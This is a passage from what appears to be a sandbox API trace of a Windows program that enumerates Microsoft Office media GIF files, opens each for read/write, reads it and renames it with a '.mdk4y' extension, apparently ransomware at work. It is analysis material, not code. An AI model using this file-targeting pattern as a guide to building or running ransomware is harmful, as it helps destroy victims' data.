lpFindFileData=0x6b7110) returned 1 [0183.839] AreFileApisANSI () returned 1 [0183.839] GetACP () returned 0x4e4 [0183.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37dec0) returned 2 [0183.839] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.839] AreFileApisANSI () returned 1 [0183.839] GetACP () returned 0x4e4 [0183.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10219_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10219_.GIFfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37dec0) returned 12 [0183.839] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10219_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.840] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825907000000) returned 1 [0183.840] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3d2, lpOverlapped=0x0) returned 1 [0183.841] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825907100000) returned 1 [0183.841] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825907100000) returned 1 [0183.842] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10219_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10219_.gif.mdk4y")) returned 1 [0183.843] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.843] AreFileApisANSI () returned 1 [0183.843] GetACP () returned 0x4e4 [0183.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10256_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10256_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.843] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10256_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10256_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825907400000) returned 1 [0183.844] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x97e, lpOverlapped=0x0) returned 1 [0183.845] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825907500000) returned 1 [0183.845] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825907500000) returned 1 [0183.845] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10256_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10256_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10256_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10256_.gif.mdk4y")) returned 1 [0183.846] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.846] AreFileApisANSI () returned 1 [0183.846] GetACP () returned 0x4e4 [0183.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10289_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10289_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.846] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10289_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10289_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.847] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825907700000) returned 1 [0183.847] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x124, lpOverlapped=0x0) returned 1 [0183.848] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825907800000) returned 1 [0183.848] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825907800000) returned 1 [0183.848] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10289_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10289_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10289_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10289_.gif.mdk4y")) returned 1 [0183.849] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.849] AreFileApisANSI () returned 1 [0183.850] GetACP () returned 0x4e4 [0183.850] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10290_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10290_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.850] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10290_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10290_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.851] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825908100000) returned 1 [0183.851] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x134, lpOverlapped=0x0) returned 1 [0183.852] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825908200000) returned 1 [0183.852] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825908200000) returned 1 [0183.852] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10290_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10290_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10290_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10290_.gif.mdk4y")) returned 1 [0183.853] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.853] AreFileApisANSI () returned 1 [0183.853] GetACP () returned 0x4e4 [0183.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10307_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10307_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.853] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10307_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10307_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.853] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825908300000) returned 1 [0183.853] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x497, lpOverlapped=0x0) returned 1 [0183.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825908400000) returned 1 [0183.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825908400000) returned 1 [0183.855] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10307_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10307_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10307_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10307_.gif.mdk4y")) returned 1 [0183.855] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.855] AreFileApisANSI () returned 1 [0183.855] GetACP () returned 0x4e4 [0183.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10308_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10308_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.855] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10308_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10308_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825908600000) returned 1 [0183.856] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x27d, lpOverlapped=0x0) returned 1 [0183.857] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825908700000) returned 1 [0183.857] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825908700000) returned 1 [0183.857] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10308_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10308_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10308_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10308_.gif.mdk4y")) returned 1 [0183.859] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.859] AreFileApisANSI () returned 1 [0183.859] GetACP () returned 0x4e4 [0183.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10358_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10358_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.859] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10358_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10358_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.859] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825908900000) returned 1 [0183.859] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3a4, lpOverlapped=0x0) returned 1 [0183.861] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825909100000) returned 1 [0183.861] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825909100000) returned 1 [0183.861] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10358_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10358_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10358_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10358_.gif.mdk4y")) returned 1 [0183.861] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.861] AreFileApisANSI () returned 1 [0183.861] GetACP () returned 0x4e4 [0183.862] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14516_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14516_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.862] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14516_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14516_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.863] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825909300000) returned 1 [0183.863] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x160, lpOverlapped=0x0) returned 1 [0183.863] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825909300000) returned 1 [0183.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825909400000) returned 1 [0183.864] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14516_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14516_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14516_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14516_.gif.mdk4y")) returned 1 [0183.865] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.865] AreFileApisANSI () returned 1 [0183.865] GetACP () returned 0x4e4 [0183.865] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14538_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14538_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.865] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14538_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14538_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.865] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825909500000) returned 1 [0183.865] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x617, lpOverlapped=0x0) returned 1 [0183.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825911400000) returned 1 [0183.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825911400000) returned 1 [0183.885] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14538_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14538_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14538_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14538_.gif.mdk4y")) returned 1 [0183.887] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.887] AreFileApisANSI () returned 1 [0183.887] GetACP () returned 0x4e4 [0183.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14539_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14539_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.887] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14539_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14539_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.888] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825911800000) returned 1 [0183.888] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5ab, lpOverlapped=0x0) returned 1 [0183.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825913600000) returned 1 [0183.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825913600000) returned 1 [0183.906] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14539_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14539_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14539_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14539_.gif.mdk4y")) returned 1 [0183.908] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.908] AreFileApisANSI () returned 1 [0183.908] GetACP () returned 0x4e4 [0183.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14594_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14594_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.908] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14594_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14594_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825913900000) returned 1 [0183.909] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x25b, lpOverlapped=0x0) returned 1 [0183.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825914000000) returned 1 [0183.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825914000000) returned 1 [0183.910] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14594_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14594_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14594_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14594_.gif.mdk4y")) returned 1 [0183.913] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.913] AreFileApisANSI () returned 1 [0183.913] GetACP () returned 0x4e4 [0183.913] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14595_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14595_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.913] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14595_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14595_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825914400000) returned 1 [0183.914] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1d7, lpOverlapped=0x0) returned 1 [0183.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825914500000) returned 1 [0183.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825914500000) returned 1 [0183.915] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14595_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14595_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14595_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14595_.gif.mdk4y")) returned 1 [0183.916] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.916] AreFileApisANSI () returned 1 [0183.916] GetACP () returned 0x4e4 [0183.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14677_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14677_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.916] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14677_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14677_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.917] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825914700000) returned 1 [0183.917] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x11c, lpOverlapped=0x0) returned 1 [0183.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825914800000) returned 1 [0183.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825914800000) returned 1 [0183.918] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14677_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14677_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14677_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14677_.gif.mdk4y")) returned 1 [0183.919] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.919] AreFileApisANSI () returned 1 [0183.919] GetACP () returned 0x4e4 [0183.919] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14710_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14710_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.920] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14710_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14710_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.920] QueryPerformanceCounter (in: 